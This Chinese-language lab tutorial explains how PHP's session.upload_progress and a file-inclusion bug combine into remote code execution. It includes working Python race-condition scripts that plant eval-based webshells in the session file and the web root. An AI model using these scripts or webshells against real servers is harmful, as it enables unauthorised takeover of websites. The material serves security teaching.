什么是session.upload_progress?
與open_basedir
、allow_url_fopen
、allow_url_include
等PHP配置一樣,session.upload_progress
也是PHP的一個功能,同樣可以在php.ini
中設置相關屬性。其中最重要的幾個設置如下:
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
-
session.upload_progress.enabled可以控制是否開啟session.upload_progress功能
-
session.upload_progress.cleanup可以控制是否在上傳之后刪除文件內容
-
session.upload_progress.prefix可以設置上傳文件內容的前綴
-
session.upload_progress.name的值即為session中的鍵值
session.upload_progress開啟之后會有什么效果?
當我們將session.upload_progress.enabled
的值設置為on時,此時我們再往服務器中上傳一個文件時,PHP會把該文件的詳細信息(如上傳時間、上傳進度等)存儲在session當中。
問題1:
那么這個時候就會有一個前提條件,就是如何初始化session並且把session中的內容寫到文件中去呢?
分析1:
我們可以注意到,php.ini中session.use_strict_mode
選項默認是0,在這個情況下,用戶可以自己定義自己的sessionid,例如當用戶在cookie中設置sessionid=Lxxx
時,PHP就會生成一個文件/tmp/sess_Lxxx
,此時也就初始化了session,並且會將上傳的文件信息寫入到文件/tmp/sess_Lxxx
中去,具體文件的內容是什么,后面會寫到。
問題2:
當session.upload_progress.cleanup的值為on時,即使上傳文件,但是上傳完成之后文件內容會被清空,這怎么辦?
分析2:
利用Python的多線程,進行條件競爭。
如何利用session.upload_progress進行RCE?
然而,理論再多也沒用,還是得一步步調試,看看在文件上傳的時候,整一個PHP服務端到底發生了什么。所以還是需要做實驗。
首先,在網站根目錄下隨便新建一個test.php文件
然后寫一個Python程序用於往服務器上上傳文件:
這里有幾個注意點:
-
上傳的文件大小為50KB,文件名為Lxxx.jpg
-
該程序設置的sessionid為Lxxx,也就是說會在
/tmp
目錄下生成sess_Lxxx
文件 -
該程序設置的
PHP_SESSION_UPLOAD_PROGRESS
值為一句話木馬,也就是說,在理論上,一句話木馬會被寫入到/tmp/sess_Lxxx
中
import requests
import io
url = "http://192.168.2.128/test.php"
sessid = "Lxxx"
def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('Lxxx.jpg', filebytes)
}
)
if __name__ == "__main__":
with requests.session() as session:
write(session)
執行程序后,我們需要用tail -f
命令實時查看/tmp/sess_Lxxx
文件,因為在本地測試速度比較快,如果使用cat命令,文件內容還沒輸出就被刪除了。
tail -f /tmp/sess_Lxxx
結果如下:
也就是說,/tmp/sess_Lxxx
文件中的內容為:
upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}
仔細分析一下該文件內容,該文件分為兩塊,以豎線|
區分。
第一塊內容如下:
upload_progress_<?php eval($_POST[1]);?>
這一塊內容由以下兩個值組成:session.upload_progress.name
+PHP_SESSION_UPLOAD_PROGRESS
第二塊內容如下:
a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}
一看就是序列化之后的值,我們將其進行反序列化后輸出:
array(5) {
["start_time"]=>
int(1631343214)
["content_length"]=>
int(276)
["bytes_processed"]=>
int(276)
["done"]=>
bool(false)
["files"]=>
array(1) {
[0]=>
array(7) {
["field_name"]=>
string(4) "file"
["name"]=>
string(8) "Lxxx.jpg"
["tmp_name"]=>
NULL
["error"]=>
int(0)
["done"]=>
bool(false)
["start_time"]=>
int(1631343214)
["bytes_processed"]=>
int(276)
}
}
}
可以看到這里記錄了文件上傳時間、文件大小、文件名稱等等文件屬性。
接下來在網站根目錄新建一個test.php文件,文件內容如下:
<?php
$a = $_GET["a"];
include($a);
很明顯有一個文件包含的漏洞。
接下來我們利用session.upload_progress
進行條件競爭
以下代碼有幾個注意點:
-
首先,函數write和上面的是一樣的,這里就不做過多的贅述了
-
整個代碼的思路就是,往
/tmp/sess_Lxxx
文件中寫入一句話木馬,密碼為1,然后用題目中的文件包含漏洞,包含這一個文件,在函數read中嘗試利用/tmp/sess_Lxxx
的一句話往網站根目錄文件1.php
寫一句話木馬,密碼為2 -
利用Python的多線程,一邊上傳文件,一邊嘗試往根目錄中寫入
1.php
,如果成功寫入了,就打印輸出“成功寫入一句話” -
這里利用Python的threading模塊,開5個線程進行條件競爭
代碼如下:
import requests
import io
import threading
url = "http://192.168.2.128/test.php"
sessid = "Lxxx"
def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('Lxxx.jpg', filebytes)
}
)
def read(session):
while True:
res = session.post(url+"?a=/tmp/sess_"+sessid,
data={
"1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST[2]);?>');"
},
cookies={
"PHPSESSID":sessid
}
)
res2 = session.get("http://192.168.2.128/1.php")
if res2.status_code == 200:
print("成功寫入一句話!")
else:
print("Retry")
if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()
代碼執行結果如下:
一開始會一直顯示Retry,但是只要運行一段時間就會成功寫入一句話。
可以在網站根目錄看到,成功寫入一句話。
參考資料
-
Nu1L戰隊的書籍《從0到1 CTFer成長之路》 P140-141
點擊鏈接進行實驗:php競爭條件漏洞